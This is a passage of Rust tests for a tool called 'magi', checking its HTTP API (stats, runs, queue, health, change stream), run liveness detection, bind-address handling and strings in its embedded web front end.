7918 let stats = f.get("/api/stats").await;
7919 assert_eq!(stats.status, 200);
7920 assert_eq!(stats.json()["totals"]["runs"], 0);
7921 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
7922 assert_eq!(stats.json()["runs_unreadable"], 0);
7923 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
7924 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
7925 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
7926 assert_eq!(stats.json()["repo"], Value::Null);
7927 }
7928
7929 #[tokio::test]
7930 async fn stats_lists_every_repository_with_runs_recorded() {
7931 let f = Fixture::start().await;
7932 write_run_repo(
7933 &f.runs(),
7934 "20260902-140501-a",
7935 RunStatus::Merged,
7936 "/repos/a",
7937 );
7938 write_run_repo(
7939 &f.runs(),
7940 "20260902-140502-b",
7941 RunStatus::Merged,
7942 "/repos/a",
7943 );
7944 write_run_repo(
7945 &f.runs(),
7946 "20260902-140503-c",
7947 RunStatus::Blocked,
7948 "/repos/b",
7949 );
7950
7951 let stats = f.get("/api/stats").await;
7952 assert_eq!(stats.status, 200);
7953 assert_eq!(stats.json()["totals"]["runs"], 3);
7955 assert_eq!(stats.json()["repo"], Value::Null);
7956
7957 let repos = stats.json()["repos"].clone();
7958 let repos = repos.as_array().unwrap();
7959 assert_eq!(repos.len(), 2);
7960 assert_eq!(repos[0]["repo"], "/repos/a");
7962 assert_eq!(repos[0]["name"], "a");
7963 assert_eq!(repos[0]["runs"], 2);
7964 assert_eq!(repos[1]["repo"], "/repos/b");
7965 assert_eq!(repos[1]["runs"], 1);
7966 }
7967
7968 #[tokio::test]
7969 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
7970 let f = Fixture::start().await;
7971 write_run_repo(
7972 &f.runs(),
7973 "20260902-140501-a",
7974 RunStatus::Merged,
7975 "/repos/a",
7976 );
7977 write_run_repo(
7978 &f.runs(),
7979 "20260902-140502-b",
7980 RunStatus::Blocked,
7981 "/repos/b",
7982 );
7983
7984 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
7985 assert_eq!(stats.status, 200);
7986 assert_eq!(stats.json()["totals"]["runs"], 1);
7987 assert_eq!(stats.json()["totals"]["merged"], 1);
7988 assert_eq!(stats.json()["repo"], "/repos/a");
7989 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
7992 assert_eq!(stats.json()["runs_unreadable"], 0);
7995 }
7996
7997 #[tokio::test]
7998 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
7999 let f = Fixture::start().await;
8000 write_run_repo(
8001 &f.runs(),
8002 "20260902-140501-a",
8003 RunStatus::Merged,
8004 "/repos/a",
8005 );
8006
8007 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
8008 assert_eq!(stats.status, 404);
8009 }
8010
8011 #[tokio::test]
8012 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
8013 let f = Fixture::start().await;
8014 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
8015
8016 let summary = f.get("/api/runs").await.json();
8017 let row = &summary[0];
8018 assert_eq!(row["short"], "a1b2");
8019 assert_eq!(row["status"], "ready");
8020 assert_eq!(row["done"], true);
8021 assert_eq!(row["title"], "Add a web UI");
8022 assert_eq!(row["repo_name"], "magi");
8023 assert_eq!(row["judges"], 3);
8024 assert_eq!(row["winner"], Value::Null);
8025 assert_eq!(row["reviews"], 0);
8026
8027 let detail = f.get("/api/runs/a1b2").await;
8030 assert_eq!(detail.status, 200);
8031 assert_eq!(detail.json()["base_branch"], "main");
8032 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
8033 }
8034
8035 #[tokio::test]
8043 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
8044 let f = Fixture::start().await;
8045
8046 let mut none_run = RunState::new(
8047 PathBuf::from("/repo/magi"),
8048 "main".to_owned(),
8049 "0123456789abcdef".to_owned(),
8050 "Add a web UI".to_owned(),
8051 Config::default(),
8052 );
8053 none_run.id = "20260902-140503-none".to_owned();
8054 none_run.status = RunStatus::Ready;
8055 none_run.merge = Some(crate::run::MergeOutcome {
8056 mode: crate::config::MergeMode::None,
8057 ok: true,
8058 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
8059 });
8060 write_state(&f.runs(), &none_run);
8061
8062 let mut pr_run = RunState::new(
8063 PathBuf::from("/repo/magi"),
8064 "main".to_owned(),
8065 "0123456789abcdef".to_owned(),
8066 "Add a web UI".to_owned(),
8067 Config::default(),
8068 );
8069 pr_run.id = "20260902-140504-prcl".to_owned();
8070 pr_run.status = RunStatus::Ready;
8071 pr_run.merge = Some(crate::run::MergeOutcome {
8072 mode: crate::config::MergeMode::Pr,
8073 ok: false,
8074 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
8075 });
8076 write_state(&f.runs(), &pr_run);
8077
8078 let summary = f.get("/api/runs").await.json();
8079 let rows: std::collections::HashMap<&str, &Value> = summary
8080 .as_array()
8081 .expect("an array")
8082 .iter()
8083 .map(|r| (r["id"].as_str().expect("an id"), r))
8084 .collect();
8085 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
8086 assert_eq!(
8087 rows[none_run.id.as_str()]["unmerged_by_design"],
8088 true,
8089 "a mode-none Ready must be flagged in the list"
8090 );
8091 assert_eq!(
8092 rows[pr_run.id.as_str()]["unmerged_by_design"],
8093 false,
8094 "a Ready reached by a closed pull request is a different case"
8095 );
8096
8097 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
8098 assert_eq!(none_detail["status"], "ready");
8099 assert_eq!(none_detail["unmerged_by_design"], true);
8100
8101 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
8102 assert_eq!(pr_detail["unmerged_by_design"], false);
8103 }
8104
8105 #[tokio::test]
8110 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
8111 let f = Fixture::start().await;
8112 let id = "20260902-140502-bbbb";
8116 let mut state = RunState::new(
8117 PathBuf::from("/repo/magi"),
8118 "main".to_owned(),
8119 "0123456789abcdef".to_owned(),
8120 "Add a web UI".to_owned(),
8121 Config::default(),
8122 );
8123 state.id = id.to_owned();
8124 state.status = RunStatus::Judging;
8125 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
8126 let dir = f.runs().join(id);
8127 std::fs::create_dir_all(&dir).expect("run dir");
8128 std::fs::write(
8129 dir.join("run.json"),
8130 serde_json::to_string_pretty(&state).expect("serialize run"),
8131 )
8132 .expect("write run.json");
8133
8134 let cold = f.get(&format!("/api/runs/{id}")).await.json();
8140 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
8141 assert_eq!(cold["live"], "unknown", "{cold}");
8142
8143 write_daemon(f.home.path(), Timestamp::now());
8146 let warm = f.get(&format!("/api/runs/{id}")).await.json();
8147 assert_eq!(warm["live"], "live", "{warm}");
8148 }
8149
8150 #[tokio::test]
8157 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
8158 let f = Fixture::start().await;
8159 let id = "20260922-090000-cccc";
8160 let mut state = RunState::new(
8161 PathBuf::from("/repo/magi"),
8162 "main".to_owned(),
8163 "0123456789abcdef".to_owned(),
8164 "Review only".to_owned(),
8165 Config::default(),
8166 );
8167 state.id = id.to_owned();
8168 state.status = RunStatus::Reviewing;
8169 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8170 state.driver_pid = Some(std::process::id());
8176 state.driver_started_at = Some(
8177 crate::proc::process_started_at(std::process::id())
8178 .expect("this test process's own start time must be queryable"),
8179 );
8180 let dir = f.runs().join(id);
8181 std::fs::create_dir_all(&dir).expect("run dir");
8182 std::fs::write(
8183 dir.join("run.json"),
8184 serde_json::to_string_pretty(&state).expect("serialize run"),
8185 )
8186 .expect("write run.json");
8187
8188 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8189 assert_eq!(detail["live"], "live", "{detail}");
8190 }
8191
8192 #[tokio::test]
8198 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
8199 let f = Fixture::start().await;
8200 let id = "20260922-090100-dddd";
8201 let mut state = RunState::new(
8202 PathBuf::from("/repo/magi"),
8203 "main".to_owned(),
8204 "0123456789abcdef".to_owned(),
8205 "Review only".to_owned(),
8206 Config::default(),
8207 );
8208 state.id = id.to_owned();
8209 state.status = RunStatus::Reviewing;
8210 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
8211 state.driver_pid = Some(std::process::id());
8216 state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
8217 let dir = f.runs().join(id);
8218 std::fs::create_dir_all(&dir).expect("run dir");
8219 std::fs::write(
8220 dir.join("run.json"),
8221 serde_json::to_string_pretty(&state).expect("serialize run"),
8222 )
8223 .expect("write run.json");
8224
8225 let detail = f.get(&format!("/api/runs/{id}")).await.json();
8226 assert_eq!(detail["live"], "dead", "{detail}");
8227 }
8228
8229 #[test]
8233 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
8234 let mk = |id: &str, pid: Option<u32>| {
8235 let mut s = RunState::new(
8236 PathBuf::from("/repo/magi"),
8237 "main".to_owned(),
8238 "0123456789abcdef".to_owned(),
8239 "Add a web UI".to_owned(),
8240 Config::default(),
8241 );
8242 s.id = id.to_owned();
8243 s.driver_pid = pid;
8244 s.driver_started_at = Some("t0".to_owned());
8245 s
8246 };
8247 let states = vec![
8248 mk("20260902-140502-aaaa", Some(77)),
8249 mk("20260902-140502-bbbb", Some(77)),
8250 mk("20260902-140502-cccc", Some(77)),
8251 mk("20260902-140502-dddd", None),
8252 ];
8253 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
8254 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
8255 let sup: HashMap<String, String> = [(
8256 "20260902-140502-aaaa".to_owned(),
8257 "20260902-140502-cccc".to_owned(),
8258 )]
8259 .into();
8260
8261 let status_calls = std::cell::Cell::new(0);
8262 let identity_calls = std::cell::Cell::new(0);
8263 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
8264 |_| {
8265 status_calls.set(status_calls.get() + 1);
8266 Some(true)
8267 },
8268 |_| {
8269 identity_calls.set(identity_calls.get() + 1);
8270 Some("t0".to_owned())
8271 },
8272 ));
8273 let rows = summarize(
8274 states,
8275 &open,
8276 &claimed,
8277 &sup,
8278 |p| probe.borrow_mut().status(p),
8279 |p| probe.borrow_mut().started_at(p),
8280 );
8281
8282 assert_eq!(status_calls.get(), 1, "one pid, one status query");
8283 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
8284 assert_eq!(rows.len(), 4);
8285 assert!(!rows[0].waiting && rows[1].waiting);
8286 assert_eq!(rows[0].live, crate::run::Liveness::Live);
8287 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
8288 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
8289 assert_eq!(rows[1].superseded_by, None);
8290 }
8291
8292 #[test]
8293 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
8294 let mut state = RunState::new(
8295 PathBuf::from("/repo/magi"),
8296 "main".to_owned(),
8297 "0123456789abcdef".to_owned(),
8298 "Review only".to_owned(),
8299 Config::default(),
8300 );
8301 state.id = "20260922-090200-dead".to_owned();
8302 state.status = RunStatus::Reviewing;
8303 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
8304 .expect("serialize list row");
8305 assert_eq!(row["status"], "reviewing");
8306 assert_eq!(row["live"], "dead", "{row}");
8307 assert!(!row["done"].as_bool().unwrap());
8308 }
8309
8310 #[tokio::test]
8311 async fn the_run_list_is_newest_first_and_honours_a_limit() {
8312 let f = Fixture::start().await;
8313 for id in [
8314 "20260902-140501-aaaa",
8315 "20260902-140502-bbbb",
8316 "20260902-140503-cccc",
8317 ] {
8318 write_run(&f.runs(), id, RunStatus::Merged);
8319 }
8320
8321 let all = f.get("/api/runs").await.json();
8322 let capped = f.get("/api/runs?limit=2").await.json();
8323
8324 assert_eq!(all[0]["id"], "20260902-140503-cccc");
8325 assert_eq!(all.as_array().map(Vec::len), Some(3));
8326 assert_eq!(capped.as_array().map(Vec::len), Some(2));
8327 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
8328 }
8329
8330 #[tokio::test]
8331 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
8332 let f = Fixture::start().await;
8333 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
8334
8335 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
8336
8337 assert_eq!(res.status, 200);
8338 assert!(
8339 res.headers
8340 .contains("content-type: text/plain; charset=utf-8"),
8341 "a browser must render it, not download it: {}",
8342 res.headers
8343 );
8344 assert!(
8348 res.body.contains("20260902-140501-a1b2"),
8349 "the report is about the run that was asked for: {}",
8350 res.body
8351 );
8352 }
8353
8354 #[tokio::test]
8355 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
8356 let f = Fixture::start().await;
8357
8358 let html = f.get("/").await;
8359 let css = f.get("/app.css").await;
8360 let js = f.get("/app.js").await;
8361
8362 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
8363 assert!(
8364 html.headers
8365 .contains("content-type: text/html; charset=utf-8")
8366 );
8367 assert!(css.headers.contains("content-type: text/css"));
8368 assert!(js.headers.contains("content-type: text/javascript"));
8369 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
8370 }
8371
8372 #[test]
8373 fn review_rounds_label_a_distinct_verified_head() {
8374 assert!(APP_JS.contains("round.verified_head"));
8375 assert!(APP_JS.contains("verified HEAD"));
8376 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
8377 }
8378
8379 #[test]
8380 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
8381 assert!(APP_JS.contains("blocked: { glyph:"));
8385 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
8386
8387 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
8391 assert!(
8392 APP_JS.contains(
8393 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
8394 ),
8395 "the note line must name what a blocked task is waiting on, not just that it is blocked"
8396 );
8397 assert!(APP_JS.contains("if (status === \"blocked\") {"));
8401
8402 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
8406 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
8407 assert!(
8408 APP_JS.contains("location.hash = \"#/questions\";"),
8409 "a question node must jump to the Questions screen, not pretend to be a task"
8410 );
8411
8412 assert!(APP_JS.contains("Resolved questions"));
8415 assert!(APP_JS.contains("r.answersList.append("));
8416 assert!(APP_CSS.contains(".task-answers"));
8417 }
8418
8419 #[test]
8420 fn a_task_notification_links_to_its_own_card_not_the_bare_backlog() {
8421 assert!(
8426 APP_JS.contains(
8427 "el(\"a\", { href: `#/queue/${encodeURIComponent(link.id)}`, text: `Task ${shortId(link.id)}` })"
8428 ),
8429 "a task notice's link must carry the task id into the hash, not just name the Backlog screen"
8430 );
8431 assert!(
8432 !APP_JS.contains("el(\"a\", { href: \"#/queue\", text: `Task ${shortId(link.id)}` })"),
8433 "regression: the task link must not go back to naming the bare Backlog route"
8434 );
8435
8436 assert!(
8439 APP_JS.contains(
8440 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
8441 ),
8442 "`#/queue/<id>` must parse into a route carrying that id"
8443 );
8444
8445 assert!(APP_JS.contains("state.queueFocus = route.id;"));
8449 assert!(APP_JS.contains("function consumeQueueFocus()"));
8450 assert!(APP_JS.contains("jumpToTask(id);"));
8451 }
8452
8453 #[test]
8454 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
8455 assert!(
8464 APP_JS.contains(
8465 " if (!id || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
8466 ),
8467 "the search-clearing branch must run before state.queueFocus is cleared, or the \
8468 recursive renderQueue() call has nothing left to jump to"
8469 );
8470 assert!(
8471 APP_JS.contains("state.queueFocus = null;\n jumpToTask(id);"),
8472 "state.queueFocus must be cleared immediately before the jump it guards, not earlier"
8473 );
8474 }
8475
8476 #[test]
8477 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
8478 assert!(
8486 APP_JS.contains(
8487 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
8488 ),
8489 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
8490 );
8491 }
8492
8493 #[test]
8494 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
8495 assert!(
8496 APP_JS.contains("round.verified_head !== round.head"),
8497 "a round that verified an earlier commit must be visibly distinct from one that \
8498 verified the head reviewers are looking at now"
8499 );
8500 assert!(
8501 APP_JS.contains("round.verified_at"),
8502 "when a check ran must be on the wire, not just which commit"
8503 );
8504 assert!(
8505 APP_JS.contains("resource_blocked"),
8506 "a command magi never got to run (shared build cache contention) must not render \
8507 the same as a command that ran and failed"
8508 );
8509 }
8510
8511 #[tokio::test]
8512 async fn the_change_stream_announces_the_current_revisions_on_connect() {
8513 let f = Fixture::start().await;
8514
8515 let mut socket = tokio::net::TcpStream::connect(f.addr)
8516 .await
8517 .expect("connect");
8518 socket
8519 .write_all(
8520 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
8521 )
8522 .await
8523 .expect("write request");
8524
8525 let mut seen = String::new();
8528 let mut buf = [0u8; 1024];
8529 while !seen.contains("event: change") {
8530 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
8531 .await
8532 .expect("the stream must speak within five seconds")
8533 .expect("read");
8534 assert!(read > 0, "the server closed the change stream: {seen}");
8535 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
8536 }
8537
8538 assert!(
8539 seen.to_lowercase()
8540 .contains("content-type: text/event-stream"),
8541 "the browser only reconnects automatically for a real SSE stream: {seen}"
8542 );
8543 let data = seen
8544 .lines()
8545 .find_map(|l| l.strip_prefix("data:"))
8546 .expect("a data line");
8547 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
8548 assert!(
8549 payload["queue_rev"].is_u64()
8550 && payload["runs_rev"].is_u64()
8551 && payload["questions_rev"].is_u64()
8552 && payload["talks_rev"].is_u64()
8553 && payload["notifications_rev"].is_u64()
8554 && payload["loop_rev"].is_u64(),
8555 "the client needs one revision per store to know what to refetch, \
8556 and `talks_rev` is the only notification a standing talk gets - a \
8557 phone whose radio slept through a turn learns about it here, as \
8558 does one whose operator started the loop from another device: \
8559 {payload}"
8560 );
8561
8562 let health = f.get("/api/health").await.json();
8569 for key in [
8570 "queue_rev",
8571 "runs_rev",
8572 "questions_rev",
8573 "talks_rev",
8574 "notifications_rev",
8575 "loop_rev",
8576 ] {
8577 assert!(
8578 health[key].is_u64(),
8579 "health is the change stream's fallback and is missing `{key}`: {health}"
8580 );
8581 }
8582 }
8583
8584 #[tokio::test]
8585 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
8586 let f = Fixture::start().await;
8587 let before = f.get("/api/health").await.json()["talks_rev"]
8588 .as_u64()
8589 .expect("talks_rev");
8590
8591 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
8592 std::thread::sleep(Duration::from_millis(10));
8593 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
8594 on_disk.turns.push(crate::talk::Turn {
8595 who: crate::talk::Who::Operator,
8596 body: "a new turn".to_owned(),
8597 at: Timestamp::now(),
8598 attachments: Vec::new(),
8599 });
8600 f.talks().put(&mut on_disk).expect("record a turn");
8601
8602 let after = f.get("/api/health").await.json()["talks_rev"]
8603 .as_u64()
8604 .expect("talks_rev");
8605 assert_ne!(
8606 before, after,
8607 "a phone must be able to notice a talk's reply without polling every store"
8608 );
8609 }
8610
8611 #[test]
8612 fn bind_reads_back_from_the_spelling_the_cli_prints() {
8613 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
8617 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
8618 }
8619 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
8620 assert!("everywhere".parse::<Bind>().is_err());
8621 }
8622
8623 #[test]
8624 fn an_explicit_bind_address_is_taken_verbatim() {
8625 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
8626
8627 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
8628
8629 assert_eq!(addr, asked);
8630 assert!(
8631 warning.is_none(),
8632 "an operator who named an address gets no lecture"
8633 );
8634 }
8635
8636 #[test]
8637 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
8638 let (addr, warning) = resolve_bind(&Bind::Auto);
8639
8640 match addr {
8647 IpAddr::V4(ip) if is_tailnet(&ip) => {
8648 assert!(warning.is_none(), "a tailnet address needs no warning");
8649 }
8650 other => {
8651 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
8652 let warning = warning.expect("a fallback has to explain itself");
8653 assert!(
8654 warning.contains("127.0.0.1") && warning.contains("local-only"),
8655 "the warning says what happened and what it costs: {warning}"
8656 );
8657 }
8658 }
8659 }
8660
8661 #[test]
8662 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
8663 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
8667 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
8668 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
8669 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
8670 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
8671 }
8672
8673 #[test]
8674 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
8675 let ids = vec![
8676 "20260902-140501-aaaa".to_owned(),
8677 "20260902-140502-aabb".to_owned(),
8678 ];
8679
8680 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
8681 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
8682 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
8683
8684 assert_eq!(missing.status, StatusCode::NOT_FOUND);
8685 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
8686 assert_eq!(short, "20260902-140502-aabb");
8687 }
8688 #[tokio::test]
8689 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
8690 let fx = Fixture::start().await;
8696 let id = panel(
8697 &fx,
8698 "<img src=\"shot.png\">",
8699 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
8700 );
8701
8702 let doc = fx
8704 .get(&format!("/api/questions/{id}/panel/index.html"))
8705 .await;
8706 assert_eq!(doc.status, 200, "{}", doc.body);
8707 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
8708
8709 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
8710 assert_eq!(sibling.status, 200, "{}", sibling.body);
8711 assert_eq!(sibling.header("content-type"), Some("image/png"));
8712 assert_eq!(
8713 sibling.header("content-security-policy"),
8714 Some(PANEL_CSP),
8715 "the sibling route must carry the same policy as the asset route"
8716 );
8717
8718 assert_eq!(
8721 fx.head(&format!("/api/questions/{id}/panel")).await.status,
8722 200
8723 );
8724 }
8725
8726 #[test]
8727 fn runs_revision_moves_when_deleting_an_older_run() {
8728 let temp = TempDir::new().expect("tempdir");
8729 let runs = temp.path().join("runs");
8730 std::fs::create_dir_all(&runs).expect("create runs dir");
8731
8732 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
8733
8734 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
8735 std::thread::sleep(Duration::from_millis(10));
8736 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
8737
8738 let rev_before = runs_revision(&runs);
8739 assert!(rev_before > 0);
8740
8741 let old_dir = runs.join("20260901-100000-old1");
8742 std::fs::remove_dir_all(&old_dir).expect("remove old run");
8743
8744 let rev_after = runs_revision(&runs);
8745 assert_ne!(
8746 rev_before, rev_after,
8747 "deleting an older run must change the revision so other clients see the deletion"
8748 );
8749 }
8750
8751 fn write_state(runs: &FsPath, state: &RunState) {
8756 let dir = runs.join(&state.id);
8757 std::fs::create_dir_all(&dir).expect("run dir");
8758 std::fs::write(
8759 dir.join("run.json"),
8760 serde_json::to_string_pretty(state).expect("serialize run"),
8761 )
8762 .expect("write run.json");
8763 }
8764
8765 #[test]
8770 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
8771 let temp = TempDir::new().expect("tempdir");
8772 let runs = temp.path().join("runs");
8773 std::fs::create_dir_all(&runs).expect("create runs dir");
8774 let mut state = RunState::new(
8775 PathBuf::from("/repo/magi"),
8776 "main".to_owned(),
8777 "0123456789abcdef".to_owned(),
8778 "task".to_owned(),
8779 Config::default(),
8780 );
8781 state.id = "20260902-100000-c0de".to_owned();
8782 write_state(&runs, &state);
8783
8784 let rev_idle = runs_revision(&runs);
8785 std::thread::sleep(Duration::from_millis(10));
8786 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
8787 write_state(&runs, &state);
8788 let rev_started = runs_revision(&runs);
8789 assert_ne!(
8790 rev_idle, rev_started,
8791 "a seat starting must move the revision"
8792 );
8793
8794 std::thread::sleep(Duration::from_millis(10));
8795 state.seat_finished("judge-1");
8796 write_state(&runs, &state);
8797 let rev_finished = runs_revision(&runs);
8798 assert_ne!(
8799 rev_started, rev_finished,
8800 "and clearing it again must move the revision a second time"
8801 );
8802 }
8803
8804 #[tokio::test]
8805 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
8806 let fx = Fixture::start().await;
8811 let q = fx.queue();
8812
8813 let mut t = Task::new(
8814 "Task".to_owned(),
8815 "Instruction".to_owned(),
8816 PathBuf::from("/repo"),
8817 Source::Human,
8818 );
8819 t.block(
8820 vec!["20260101-000000-dead".to_owned()],
8821 Some("waiting on Task 1".to_owned()),
8822 );
8823 t.answers.push(crate::queue::AnsweredQuestion {
8824 question: "Which backend?".to_owned(),
8825 answer: "SQLite".to_owned(),
8826 });
8827 q.put(&mut t).expect("put t");
8828
8829 let res = fx.get("/api/queue").await;
8830 assert_eq!(res.status, 200);
8831 let list = res.json();
8832 let view = list
8833 .as_array()
8834 .expect("array")
8835 .iter()
8836 .find(|v| v["id"] == t.id)
8837 .expect("task in list");
8838 assert_eq!(view["status_str"], "blocked");
8839 assert_eq!(
8840 view["blocked_by"],
8841 serde_json::json!(["20260101-000000-dead"])
8842 );
8843 assert_eq!(view["block_reason"], "waiting on Task 1");
8844 assert_eq!(view["answers"][0]["question"], "Which backend?");
8845 assert_eq!(view["answers"][0]["answer"], "SQLite");
8846
8847 let res = fx
8851 .post(&format!("/api/queue/{}/hold", t.short()), None)
8852 .await;
8853 assert_eq!(res.status, 200);
8854 let held = res.json();
8855 assert_eq!(held["status_str"], "held");
8856 assert_eq!(held["blocked_by"], serde_json::json!([]));
8857 assert!(held["block_reason"].is_null());
8858 assert_eq!(held["answers"][0]["answer"], "SQLite");
8859 }
8860
8861 #[tokio::test]
8862 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
8863 let fx = Fixture::start().await;
8864 let q = fx.queue();
8865 let mk = |title: &str| {
8866 Task::new(
8867 title.to_owned(),
8868 "Instruction".to_owned(),
8869 PathBuf::from("/repo"),
8870 Source::Human,
8871 )
8872 };
8873 let mut root = mk("root");
8874 root.hold_manual(Some("waiting".to_owned()));
8875 q.put(&mut root).unwrap();
8876 let mut mid = mk("mid");
8877 mid.block(vec![root.id.clone()], None);
8878 q.put(&mut mid).unwrap();
8879 let mut leaf = mk("leaf");
8880 leaf.block(vec![mid.id.clone()], None);
8881 q.put(&mut leaf).unwrap();
8882
8883 let list = fx.get("/api/queue").await.json();
8884 let find = |id: &str| {
8885 list.as_array()
8886 .unwrap()
8887 .iter()
8888 .find(|v| v["id"] == id)
8889 .unwrap()
8890 .clone()
8891 };
8892 let leaf_view = find(&leaf.id);
8893 assert_eq!(
8894 leaf_view["waits_on"],
8895 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
8896 );
8897 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
8898 assert_eq!(
8899 find(&mid.id)["waits_on"],
8900 serde_json::json!([format!("{} (held)", root.short())])
8901 );
8902 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
8903 }
8904
8905 #[tokio::test]
8906 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
8907 let fx = Fixture::start().await;
8908 let q = fx.queue();
8909
8910 let mut t1 = Task::new(
8912 "Task 1".to_owned(),
8913 "Instruction 1".to_owned(),
8914 PathBuf::from("/repo"),
8915 Source::Human,
8916 );
8917 let run_id = "20260901-000000-r111";
8918 t1.runs.push(run_id.to_owned());
8919 write_run(&fx.runs(), run_id, RunStatus::Merged);
8920 q.put(&mut t1).expect("put t1");
8921
8922 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
8924 assert_eq!(res.status, 204);
8925 assert!(res.body.is_empty(), "204 No Content has no body");
8926 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
8927 assert!(
8928 fx.runs().join(run_id).exists(),
8929 "run directory must not be deleted when its task is deleted"
8930 );
8931
8932 let mut t2 = Task::new(
8934 "Task 2".to_owned(),
8935 "Instruction 2".to_owned(),
8936 PathBuf::from("/repo"),
8937 Source::Human,
8938 );
8939 t2.status = TaskStatus::Running;
8940 q.put(&mut t2).expect("put t2");
8941 let mut beat = crate::daemon::Status::new();
